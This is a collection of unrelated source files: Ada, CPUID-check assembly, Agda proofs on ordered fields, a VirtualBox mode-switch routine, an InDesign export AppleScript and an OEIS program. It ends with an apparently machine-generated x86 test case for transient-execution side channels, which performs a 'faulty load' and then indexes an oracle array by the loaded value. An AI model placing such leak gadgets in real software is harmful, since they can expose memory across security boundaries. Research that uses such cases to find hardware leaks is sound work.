function Get_Comment (Def : in Definition) return Util.Beans.Objects.Object is
begin
return Def.Comment;
end Get_Comment;
-- ------------------------------
-- Set the location (file and line) where the model element is defined in the XMI file.
-- ------------------------------
procedure Set_Location (Node : in out Definition;
Location : in String) is
begin
Node.Location := Ada.Strings.Unbounded.To_Unbounded_String (Location);
end Set_Location;
-- ------------------------------
-- Get the location file and line where the model element is defined.
-- ------------------------------
function Get_Location (Node : in Definition) return String is
begin
return Ada.Strings.Unbounded.To_String (Node.Location);
end Get_Location;
-- ------------------------------
-- Initialize the definition from the DOM node attributes.
-- ------------------------------
procedure Initialize (Def : in out Definition;
Name : in Ada.Strings.Unbounded.Unbounded_String;
Node : in DOM.Core.Node) is
use type DOM.Core.Node;
Attrs : constant DOM.Core.Named_Node_Map := DOM.Core.Nodes.Attributes (Node);
begin
Def.Def_Name := Name;
Def.Comment := Util.Beans.Objects.To_Object (Gen.Utils.Get_Comment (Node));
for I in 0 .. DOM.Core.Nodes.Length (Attrs) loop
declare
A : constant DOM.Core.Node := DOM.Core.Nodes.Item (Attrs, I);
begin
if A /= null then
declare
Name : constant DOM.Core.DOM_String := DOM.Core.Nodes.Node_Name (A);
Value : constant DOM.Core.DOM_String := DOM.Core.Nodes.Node_Value (A);
begin
Def.Attrs.Include (Name, Util.Beans.Objects.To_Object (Value));
end;
end if;
end;
end loop;
end Initialize;
-- ------------------------------
-- Validate the definition by checking and reporting problems to the logger interface.
-- ------------------------------
procedure Validate (Def : in out Definition;
Log : in out Util.Log.Logging'Class) is
begin
if Ada.Strings.Unbounded.Length (Def.Def_Name) = 0 then
Log.Error (Def.Get_Location & ": name is empty");
end if;
end Validate;
procedure Set_Index (Def : in out Definition;
Index : in Natural) is
begin
Def.Row_Index := Index;
end Set_Index;
end Gen.Model;
|
msquic/msvc/evercrypt/amd64/cpuid-x86_64-msvc.asm | ThadHouse/everest-dist | 1 | 3463 | .code
ALIGN 16
check_aesni proc
mov r9, rbx
mov rcx, 0
mov rax, 1
cpuid
mov rax, rcx
and rax, 33554432
shr rax, 24
and rcx, 2
and rax, rcx
mov rbx, r9
ret
check_aesni endp
ALIGN 16
check_sha proc
mov r9, rbx
mov rax, 7
mov rcx, 0
cpuid
and rbx, 536870912
mov rax, rbx
mov rbx, r9
ret
check_sha endp
ALIGN 16
check_adx_bmi2 proc
mov r9, rbx
mov rax, 7
mov rcx, 0
cpuid
mov rax, rbx
and rax, 524288
shr rax, 11
and rbx, 256
and rax, rbx
mov rbx, r9
ret
check_adx_bmi2 endp
ALIGN 16
check_avx proc
mov r9, rbx
mov rcx, 0
mov rax, 1
cpuid
mov rax, rcx
and rax, 268435456
shr rax, 27
mov rbx, r9
ret
check_avx endp
ALIGN 16
check_avx2 proc
mov r9, rbx
mov rax, 7
mov rcx, 0
cpuid
and rbx, 32
mov rax, rbx
mov rbx, r9
ret
check_avx2 endp
ALIGN 16
check_movbe proc
mov r9, rbx
mov rcx, 0
mov rax, 1
cpuid
mov rax, rcx
and rax, 4194304
shr rax, 21
mov rbx, r9
ret
check_movbe endp
ALIGN 16
check_sse proc
mov r9, rbx
mov rcx, 0
mov rax, 1
cpuid
mov rax, rcx
and rax, 524288
and rcx, 512
and rdx, 67108864
shr rax, 10
shr rdx, 17
and rax, rdx
and rax, rcx
mov rbx, r9
ret
check_sse endp
ALIGN 16
check_rdrand proc
mov r9, rbx
mov rcx, 0
mov rax, 1
cpuid
mov rax, rcx
and rax, 1073741824
shr rax, 29
mov rbx, r9
ret
check_rdrand endp
end
|
Structure/OrderedField.agda | Lolirofle/stuff-in-agda | 6 | 10633 | <reponame>Lolirofle/stuff-in-agda
module Structure.OrderedField where
import Lvl
open import Data.Boolean
open import Data.Boolean.Proofs
import Data.Either as Either
open import Data.Tuple as Tuple
open import Functional
open import Logic
open import Logic.Classical
open import Logic.IntroInstances
open import Logic.Propositional
open import Logic.Predicate
open import Numeral.Natural using (ℕ)
import Numeral.Natural.Relation.Order as ℕ
open import Relator.Ordering
import Relator.Ordering.Proofs as OrderingProofs
open import Structure.Setoid
open import Structure.Function
open import Structure.Function.Domain
open import Structure.Function.Ordering
open import Structure.Operator.Field
open import Structure.Operator.Monoid
open import Structure.Operator.Group
open import Structure.Operator.Proofs
open import Structure.Operator.Properties
open import Structure.Operator.Ring.Proofs
open import Structure.Operator.Ring
open import Structure.Operator
open import Structure.Relator
open import Structure.Relator.Ordering
open Structure.Relator.Ordering.Weak.Properties
open import Structure.Relator.Properties
open import Structure.Relator.Proofs
open import Syntax.Implication
open import Syntax.Transitivity
open import Type
private variable ℓ ℓₗ ℓₑ : Lvl.Level
private variable F : Type{ℓ}
-- TODO: Generalize so that this does not neccessarily need a rng. See linearly ordered groups and partially ordered groups. See also ordered semigroups and monoids where the property is called "compatible".
record Ordered ⦃ equiv : Equiv{ℓₑ}(F) ⦄ (_+_ _⋅_ : F → F → F) ⦃ rng : Rng(_+_)(_⋅_) ⦄ (_≤_ : F → F → Stmt{ℓₗ}) : Type{Lvl.of(F) Lvl.⊔ ℓₗ Lvl.⊔ ℓₑ} where
open From-[≤] (_≤_) public
open Rng(rng)
field
⦃ [≤]-totalOrder ⦄ : Weak.TotalOrder(_≤_)(_≡_)
[≤][+]ₗ-preserve : ∀{x y z} → (x ≤ y) → ((x + z) ≤ (y + z))
[≤][⋅]-zero : ∀{x y} → (𝟎 ≤ x) → (𝟎 ≤ y) → (𝟎 ≤ (x ⋅ y)) -- TODO: Rename to preserve-sign
⦃ [≤]-binaryRelator ⦄ : BinaryRelator(_≤_)
-- TODO: Move this to Structure.Relator.Order or something
instance
[≡][≤]-sub : (_≡_) ⊆₂ (_≤_)
_⊆₂_.proof [≡][≤]-sub p = substitute₂ᵣ(_≤_) p (reflexivity(_≤_))
open Weak.TotalOrder([≤]-totalOrder) public
open OrderingProofs.From-[≤] (_≤_) public
record NonNegative (x : F) : Stmt{ℓₗ} where
constructor intro
field proof : (x ≥ 𝟎)
record Positive (x : F) : Stmt{ℓₗ} where
constructor intro
field proof : (x > 𝟎)
[≤][+]ᵣ-preserve : ∀{x y z} → (y ≤ z) → ((x + y) ≤ (x + z))
[≤][+]ᵣ-preserve {x}{y}{z} yz =
x + y 🝖[ _≡_ ]-[ commutativity(_+_) ]-sub
y + x 🝖[ _≤_ ]-[ [≤][+]ₗ-preserve yz ]
z + x 🝖[ _≡_ ]-[ commutativity(_+_) ]-sub
x + z 🝖-end
[≤][+]-preserve : ∀{x₁ x₂ y₁ y₂} → (x₁ ≤ x₂) → (y₁ ≤ y₂) → ((x₁ + y₁) ≤ (x₂ + y₂))
[≤][+]-preserve {x₁}{x₂}{y₁}{y₂} px py =
x₁ + y₁ 🝖[ _≤_ ]-[ [≤][+]ₗ-preserve px ]
x₂ + y₁ 🝖[ _≤_ ]-[ [≤][+]ᵣ-preserve py ]
x₂ + y₂ 🝖[ _≤_ ]-end
[≤]-flip-positive : ∀{x} → (𝟎 ≤ x) ↔ ((− x) ≤ 𝟎)
[≤]-flip-positive {x} = [↔]-intro l r where
l = \p →
𝟎 🝖[ _≡_ ]-[ symmetry(_≡_) (inverseFunctionᵣ(_+_)(−_)) ]-sub
x + (− x) 🝖[ _≤_ ]-[ [≤][+]ᵣ-preserve p ]
x + 𝟎 🝖[ _≡_ ]-[ identityᵣ(_+_)(𝟎) ]-sub
x 🝖-end
r = \p →
− x 🝖[ _≡_ ]-[ symmetry(_≡_) (identityₗ(_+_)(𝟎)) ]-sub
𝟎 + (− x) 🝖[ _≤_ ]-[ [≤][+]ₗ-preserve p ]
x + (− x) 🝖[ _≡_ ]-[ inverseFunctionᵣ(_+_)(−_) ]-sub
𝟎 🝖-end
[≤]-non-negative-difference : ∀{x y} → (𝟎 ≤ (y − x)) → (x ≤ y)
[≤]-non-negative-difference {x}{y} 𝟎yx =
x 🝖[ _≡_ ]-[ symmetry(_≡_) (identityₗ(_+_)(𝟎)) ]-sub
𝟎 + x 🝖[ _≤_ ]-[ [≤][+]ₗ-preserve 𝟎yx ]
(y − x) + x 🝖[ _≤_ ]-[]
(y + (− x)) + x 🝖[ _≡_ ]-[ associativity(_+_) ]-sub
y + ((− x) + x) 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(_) (inverseFunctionₗ(_+_)(−_)) ]-sub
y + 𝟎 🝖[ _≡_ ]-[ identityᵣ(_+_)(𝟎) ]-sub
y 🝖-end
[≤]-non-positive-difference : ∀{x y} → ((x − y) ≤ 𝟎) → (x ≤ y)
[≤]-non-positive-difference {x}{y} xy𝟎 =
x 🝖[ _≡_ ]-[ symmetry(_≡_) (identityᵣ(_+_)(𝟎)) ]-sub
x + 𝟎 🝖[ _≡_ ]-[ symmetry(_≡_) (congruence₂ᵣ(_+_)(_) (inverseFunctionₗ(_+_)(−_))) ]-sub
x + ((− y) + y) 🝖[ _≡_ ]-[ symmetry(_≡_) (associativity(_+_)) ]-sub
(x + (− y)) + y 🝖[ _≤_ ]-[]
(x − y) + y 🝖[ _≤_ ]-[ [≤][+]ₗ-preserve xy𝟎 ]
𝟎 + y 🝖[ _≡_ ]-[ identityₗ(_+_)(𝟎) ]-sub
y 🝖-end
[≤]-with-[−] : ∀{x y} → (x ≤ y) → ((− y) ≤ (− x))
[≤]-with-[−] {x}{y} xy = [≤]-non-positive-difference proof3 where
proof3 : (((− y) − (− x)) ≤ 𝟎)
proof3 =
(− y) − (− x) 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(_) (involution(−_)) ]-sub
(− y) + x 🝖[ _≡_ ]-[ commutativity(_+_) ]-sub
x − y 🝖[ _≤_ ]-[ [≤][+]ₗ-preserve xy ]
y − y 🝖[ _≡_ ]-[ inverseFunctionᵣ(_+_)(−_) ]-sub
𝟎 🝖-end
[≤]-flip-negative : ∀{x} → (x ≤ 𝟎) ↔ (𝟎 ≤ (− x))
[≤]-flip-negative {x} = [↔]-intro l r where
r = \p →
𝟎 🝖[ _≡_ ]-[ symmetry(_≡_) [−]-of-𝟎 ]-sub
− 𝟎 🝖[ _≤_ ]-[ [≤]-with-[−] {x}{𝟎} p ]
− x 🝖-end
l = \p →
x 🝖[ _≡_ ]-[ symmetry(_≡_) (involution(−_)) ]-sub
−(− x) 🝖[ _≤_ ]-[ [≤]-with-[−] p ]
− 𝟎 🝖[ _≡_ ]-[ [−]-of-𝟎 ]-sub
𝟎 🝖-end
[≤][−]ₗ-preserve : ∀{x y z} → (x ≤ y) → ((x − z) ≤ (y − z))
[≤][−]ₗ-preserve = [≤][+]ₗ-preserve
[≤][−]ᵣ-preserve : ∀{x y z} → (z ≤ y) → ((x − y) ≤ (x − z))
[≤][−]ᵣ-preserve = [≤][+]ᵣ-preserve ∘ [≤]-with-[−]
[≤][+]-withoutᵣ : ∀{x₁ x₂ y} → ((x₁ + y) ≤ (x₂ + y)) → (x₁ ≤ x₂)
[≤][+]-withoutᵣ {x₁}{x₂}{y} p =
x₁ 🝖[ _≡_ ]-[ symmetry(_≡_) (inverseOperᵣ(_+_)(_−_)) ]-sub
(x₁ + y) − y 🝖[ _≤_ ]-[ [≤][−]ₗ-preserve p ]
(x₂ + y) − y 🝖[ _≡_ ]-[ inverseOperᵣ(_+_)(_−_) ]-sub
x₂ 🝖-end
[≤][+]-withoutₗ : ∀{x y₁ y₂} → ((x + y₁) ≤ (x + y₂)) → (y₁ ≤ y₂)
[≤][+]-withoutₗ {x}{y₁}{y₂} p =
y₁ 🝖[ _≡_ ]-[ symmetry(_≡_) (inversePropₗ(_+_)(−_)) ]-sub
(− x) + (x + y₁) 🝖[ _≤_ ]-[ [≤][+]ᵣ-preserve p ]
(− x) + (x + y₂) 🝖[ _≡_ ]-[ inversePropₗ(_+_)(−_) ]-sub
y₂ 🝖-end
[<][+]-preserveₗ : ∀{x₁ x₂ y} → (x₁ < x₂) → ((x₁ + y) < (x₂ + y))
[<][+]-preserveₗ {x₁}{x₂}{y} px p = px ([≤][+]-withoutᵣ p)
[<][+]-preserveᵣ : ∀{x y₁ y₂} → (y₁ < y₂) → ((x + y₁) < (x + y₂))
[<][+]-preserveᵣ {x₁}{x₂}{y} px p = px ([≤][+]-withoutₗ p)
[<][+]-preserve : ∀{x₁ x₂ y₁ y₂} → (x₁ < x₂) → (y₁ < y₂) → ((x₁ + y₁) < (x₂ + y₂))
[<][+]-preserve {x₁}{x₂}{y₁}{y₂} px py =
x₁ + y₁ 🝖[ _<_ ]-[ [<][+]-preserveₗ px ]
x₂ + y₁ 🝖-semiend
x₂ + y₂ 🝖[ _<_ ]-end-from-[ [<][+]-preserveᵣ py ]
postulate [<][+]-preserve-subₗ : ∀{x₁ x₂ y₁ y₂} → (x₁ ≤ x₂) → (y₁ < y₂) → ((x₁ + y₁) < (x₂ + y₂))
postulate [<][+]-preserve-subᵣ : ∀{x₁ x₂ y₁ y₂} → (x₁ < x₂) → (y₁ ≤ y₂) → ((x₁ + y₁) < (x₂ + y₂))
-- Theory defining the axioms of an ordered field (a field with a weak total order).
record OrderedField ⦃ equiv : Equiv{ℓₑ}(F) ⦄ (_+_ _⋅_ : F → F → F) (_≤_ : F → F → Stmt{ℓₗ}) : Type{Lvl.of(F) Lvl.⊔ ℓₗ Lvl.⊔ ℓₑ} where
field
⦃ [+][⋅]-field ⦄ : Field(_+_)(_⋅_)
⦃ ordered ⦄ : Ordered(_+_)(_⋅_)(_≤_)
open Field([+][⋅]-field) public
open Ordered(ordered) public
|
third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-SwitchToPE16.asm | Fimbure/icebox-1 | 521 | 25257 | <filename>third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-mode-SwitchToPE16.asm<gh_stars>100-1000
; $Id: bs3-mode-SwitchToPE16.asm $
;; @file
; BS3Kit - Bs3SwitchToPE16
;
;
; Copyright (C) 2007-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "bs3kit-template-header.mac"
;;
; Switch to 16-bit unpaged protected mode from any other mode.
;
; @cproto BS3_DECL(void) Bs3SwitchToPE16(void);
;
; @uses Nothing (except high 32-bit register parts).
;
; @remarks Obviously returns to 16-bit mode, even if the caller was
; in 32-bit or 64-bit mode.
;
; @remarks Does not require 20h of parameter scratch space in 64-bit mode.
;
%if TMPL_BITS == 16
BS3_GLOBAL_NAME_EX TMPL_NM(Bs3SwitchToPE16_Safe), function , 0
%endif
BS3_PROC_BEGIN_MODE Bs3SwitchToPE16, BS3_PBC_NEAR
%ifdef TMPL_PE16
extern BS3_CMN_NM(Bs3SwitchToRing0)
call BS3_CMN_NM(Bs3SwitchToRing0)
push ax
mov ax, BS3_SEL_R0_DS16
mov ds, ax
mov es, ax
pop ax
ret
%elif BS3_MODE_IS_V86(TMPL_MODE)
;
; V8086 - Switch to 16-bit ring-0 and call worker for that mode.
;
extern BS3_CMN_NM(Bs3SwitchToRing0)
call BS3_CMN_NM(Bs3SwitchToRing0)
extern %[BS3_MODE_R0_NM_ %+ TMPL_MODE](Bs3SwitchToPE16)
jmp %[BS3_MODE_R0_NM_ %+ TMPL_MODE](Bs3SwitchToPE16)
%else
;
; Switch to 16-bit mode and prepare for returning in 16-bit mode.
;
%if TMPL_BITS != 16
shl xPRE [xSP], TMPL_BITS - 16 ; Adjust the return address.
add xSP, xCB - 2
; Must be in 16-bit segment when calling Bs3SwitchTo16Bit.
jmp .sixteen_bit_segment
BS3_BEGIN_TEXT16
BS3_SET_BITS TMPL_BITS
BS3_GLOBAL_LOCAL_LABEL .sixteen_bit_segment
%endif
;
; Switch to real mode.
;
extern TMPL_NM(Bs3SwitchToRM)
call TMPL_NM(Bs3SwitchToRM)
BS3_SET_BITS 16
push ax
push cx
pushf
cli
;
; Load the GDT and enable PE16.
;
BS3_EXTERN_SYSTEM16 Bs3Lgdt_Gdt
BS3_EXTERN_SYSTEM16 Bs3LgdtDef_Gdt
BS3_BEGIN_TEXT16
mov ax, BS3SYSTEM16
mov ds, ax
lgdt [Bs3LgdtDef_Gdt] ; Will only load 24-bit base!
smsw ax
or ax, X86_CR0_PE
lmsw ax
;
; Convert from real mode stack to protected mode stack.
;
mov ax, .p16_stack
extern NAME(Bs3ConvertRMStackToP16UsingCxReturnToAx_c16)
jmp NAME(Bs3ConvertRMStackToP16UsingCxReturnToAx_c16)
.p16_stack:
;
; Call routine for doing mode specific setups.
;
extern NAME(Bs3EnteredMode_pe16)
call NAME(Bs3EnteredMode_pe16)
;
; Load full 32-bit GDT base address from 32-bit segment, if 386+ CPU.
;
BS3_EXTERN_DATA16 g_uBs3CpuDetected
BS3_BEGIN_TEXT16
cmp byte [g_uBs3CpuDetected], BS3CPU_80386
jb .old_cpu_skip_32bit_lgdt
push ds
mov ax, BS3_SEL_SYSTEM16
mov ds, ax
jmp dword BS3_SEL_R0_CS32:.load_full_gdt_base wrt FLAT
.load_full_gdt_base:
BS3_SET_BITS 32
lgdt [Bs3Lgdt_Gdt wrt BS3SYSTEM16]
jmp BS3_SEL_R0_CS16:.back_to_16bit
.back_to_16bit:
BS3_SET_BITS 16
pop ds
.old_cpu_skip_32bit_lgdt:
popf
pop cx
pop ax
ret
%if TMPL_BITS != 16
TMPL_BEGIN_TEXT
%endif
%endif
BS3_PROC_END_MODE Bs3SwitchToPE16
%if TMPL_BITS == 16
;;
; Custom far stub.
BS3_BEGIN_TEXT16_FARSTUBS
BS3_PROC_BEGIN_MODE Bs3SwitchToPE16, BS3_PBC_FAR
inc bp
push bp
mov bp, sp
; Call the real thing.
call TMPL_NM(Bs3SwitchToPE16)
%if BS3_MODE_IS_RM_OR_V86(TMPL_MODE)
; Jmp to common code for the tedious conversion.
BS3_EXTERN_CMN Bs3SwitchHlpConvRealModeRetfPopBpDecBpAndReturn
jmp Bs3SwitchHlpConvRealModeRetfPopBpDecBpAndReturn
%else
pop bp
dec bp
retf
%endif
BS3_PROC_END_MODE Bs3SwitchToPE16
%else
;;
; Safe far return to non-BS3TEXT16 code.
BS3_EXTERN_CMN Bs3SwitchHlpConvFlatRetToRetfProtMode
BS3_BEGIN_TEXT16
BS3_SET_BITS TMPL_BITS
BS3_PROC_BEGIN_MODE Bs3SwitchToPE16_Safe, BS3_PBC_NEAR
call Bs3SwitchHlpConvFlatRetToRetfProtMode ; Special internal function. Uses nothing, but modifies the stack.
call TMPL_NM(Bs3SwitchToPE16)
BS3_SET_BITS 16
retf
BS3_PROC_END_MODE Bs3SwitchToPE16_Safe
%endif
|
gday.applescript | emanuelbesliu/applescripts | 0 | 4123 | <reponame>emanuelbesliu/applescripts
set wkday to (get weekday of (current date)) as Unicode text
set the clipboard to wkday
|
AppleScript/export_timetables.applescript | aaronpriven/actium | 1 | 2386 |
-- set savefolder to (choose folder with prompt "Select the folder wherein the PDFs shall be saved." default location alias "Bireme:Actium:tableart:pdf") as string
set ExportOriginalNameFolder to "Bireme:Actium:tableart:pdf:dates:"
set ExportLineFolder to "Bireme:Actium:tableart:pdf:lines:"
set inddfiles to (choose file with prompt "Select the tabletables to export:" of type {"IDd2", "IDd3", "IDd4", "IDd6", "IDd8", "IDdB", "IDdC", "IDdX", "InDd", "IDdD", "IDdE", "IDdF", "IDdG", "IDdH", "IDdI"} default location ("Bireme:Actium:tableart:indd:" as alias) with multiple selections allowed)
tell application id "com.adobe.InDesign"
set myPreset to PDF export preset "[High Quality Print]"
repeat with filealias in inddfiles
set filename to my GetFileName(filealias)
try
set myDocument to open filealias without showing window
set myOriginalNameFile to ExportOriginalNameFolder & filename & ".pdf"
tell PDF export preferences
set view PDF to false
set page range to all pages
end tell
tell myDocument
export format PDF type to myOriginalNameFile using myPreset without showing options
end tell
set myPage to page 1 of myDocument
set myLineText to contents of ((item 1 of (all page items of myPage) whose label is "LineFrame"))
set myLineList to words of myLineText
close myDocument saving no
on error s number i partial result p from f to t
tell myDocument to make window
error s number i partial result p from f to t
end try
set OldFile to quoted form of POSIX path of myOriginalNameFile
repeat with thisLine in myLineList
set NewFile to quoted form of POSIX path of (ExportLineFolder & thisLine & "_timetable.pdf")
set cmd to "/bin/cp -f " & OldFile & " " & NewFile
do shell script cmd
end repeat
end repeat
end tell
on GetFileName(filealias)
set filespec to filealias as string
tell AppleScript to set text item delimiters to ":"
set filename_ext to last text item of filespec
tell AppleScript to set text item delimiters to "."
set L to text items of filename_ext
set L to reverse of L
set L to rest of L
set L to reverse of L
set filename to L as string
end GetFileName
(*
=head1 NAME
<name> - <brief description>
=head1 VERSION
This documentation refers to version 0.003
=head1 DESCRIPTION
A full description of the module and its features.
=head1 DIAGNOSTICS
A list of every error and warning message that the application can
generate (even the ones that will "never happen"), with a full
explanation of each problem, one or more likely causes, and any
suggested remedies. If the application generates exit status codes,
then list the exit status associated with each error.
=head1 CONFIGURATION AND ENVIRONMENT
A full explanation of any configuration system(s) used by the
application, including the names and locations of any configuration
files, and the meaning of any environment variables or properties
that can be se. These descriptions must also include details of any
configuration language used.
=head1 DEPENDENCIES
List its dependencies.
=head1 AUTHOR
<NAME> <<EMAIL>>
=head1 COPYRIGHT & LICENSE
Copyright 2017
This program is free software; you can redistribute it and/or
modify it under the terms of either:
=over 4
=item * the GNU General Public License as published by the Free
Software Foundation; either version 1, or (at your option) any
later version, or
=item * the Artistic License version 2.0.
=back
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.
*)
|
programs/oeis/244/A244804.asm | karttu/loda | 1 | 90151 | <filename>programs/oeis/244/A244804.asm
; A244804: The 300 degree spoke (or ray) of a hexagonal spiral of Ulam.
; 1,14,51,112,197,306,439,596,777,982,1211,1464,1741,2042,2367,2716,3089,3486,3907,4352,4821,5314,5831,6372,6937,7526,8139,8776,9437,10122,10831,11564,12321,13102,13907,14736,15589,16466,17367,18292,19241,20214,21211,22232,23277,24346,25439,26556,27697,28862,30051,31264,32501,33762,35047,36356,37689,39046,40427,41832,43261,44714,46191,47692,49217,50766,52339,53936,55557,57202,58871,60564,62281,64022,65787,67576,69389,71226,73087,74972,76881,78814,80771,82752,84757,86786,88839,90916,93017,95142,97291,99464,101661,103882,106127,108396,110689,113006,115347,117712,120101,122514,124951,127412,129897,132406,134939,137496,140077,142682,145311,147964,150641,153342,156067,158816,161589,164386,167207,170052,172921,175814,178731,181672,184637,187626,190639,193676,196737,199822,202931,206064,209221,212402,215607,218836,222089,225366,228667,231992,235341,238714,242111,245532,248977,252446,255939,259456,262997,266562,270151,273764,277401,281062,284747,288456,292189,295946,299727,303532,307361,311214,315091,318992,322917,326866,330839,334836,338857,342902,346971,351064,355181,359322,363487,367676,371889,376126,380387,384672,388981,393314,397671,402052,406457,410886,415339,419816,424317,428842,433391,437964,442561,447182,451827,456496,461189,465906,470647,475412,480201,485014,489851,494712,499597,504506,509439,514396,519377,524382,529411,534464,539541,544642,549767,554916,560089,565286,570507,575752,581021,586314,591631,596972,602337,607726,613139,618576,624037,629522,635031,640564,646121,651702,657307,662936,668589,674266,679967,685692,691441,697214,703011,708832,714677,720546,726439,732356,738297,744262
mov $1,12
mul $1,$0
add $1,1
mul $1,$0
add $1,1
|
oeis/017/A017325.asm | neoneye/loda-programs | 11 | 20964 | ; A017325: a(n) = (10*n + 4)^9.
; 262144,20661046784,2641807540224,60716992766464,618121839509504,3904305912313344,18014398509481984,66540410775079424,208215748530929664,572994802228616704,1423311812421484544,3251948521156637184,6930988311686938624,13929745610903012864,26623333280885243904,48717667557975775744,85821209809770512384,146198606972431117824,241746618002717016064,389238302031137391104,611887395134623186944,941291116759119107584,1419816323814495617024,2103500970336180939264,3065550233359913058304
mul $0,10
add $0,4
pow $0,9
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1227.asm | ljhsiun2/medusa | 9 | 24461 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1227.asm<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xf197, %r10
sub %rdx, %rdx
movb $0x61, (%r10)
nop
nop
nop
add %rbx, %rbx
lea addresses_normal_ht+0xf77, %rsi
lea addresses_A_ht+0x11a17, %rdi
dec %r9
mov $124, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $48868, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rax
push %rbp
push %rbx
push %rsi
// Store
lea addresses_WT+0x1d8a7, %r8
inc %rbx
movb $0x51, (%r8)
nop
xor %rax, %rax
// Store
lea addresses_A+0x4127, %rsi
nop
nop
add $2079, %rax
movb $0x51, (%rsi)
nop
nop
nop
nop
add %rax, %rax
// Store
lea addresses_D+0x17ee7, %rbp
nop
nop
nop
cmp %rbx, %rbx
mov $0x5152535455565758, %r15
movq %r15, %xmm3
vmovups %ymm3, (%rbp)
nop
nop
nop
nop
add $22345, %rbx
// Store
lea addresses_D+0x15337, %rbx
nop
nop
nop
nop
nop
and %r15, %r15
mov $0x5152535455565758, %rax
movq %rax, (%rbx)
nop
nop
nop
sub %rbx, %rbx
// Load
lea addresses_normal+0xa1ef, %r8
nop
nop
nop
nop
nop
inc %r12
movups (%r8), %xmm7
vpextrq $0, %xmm7, %rbp
nop
nop
cmp %r8, %r8
// Faulty Load
lea addresses_PSE+0xc927, %r8
clflush (%r8)
nop
nop
and $20928, %rsi
mov (%r8), %bx
lea oracles, %rsi
and $0xff, %rbx
shlq $12, %rbx
mov (%rsi,%rbx,1), %rbx
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 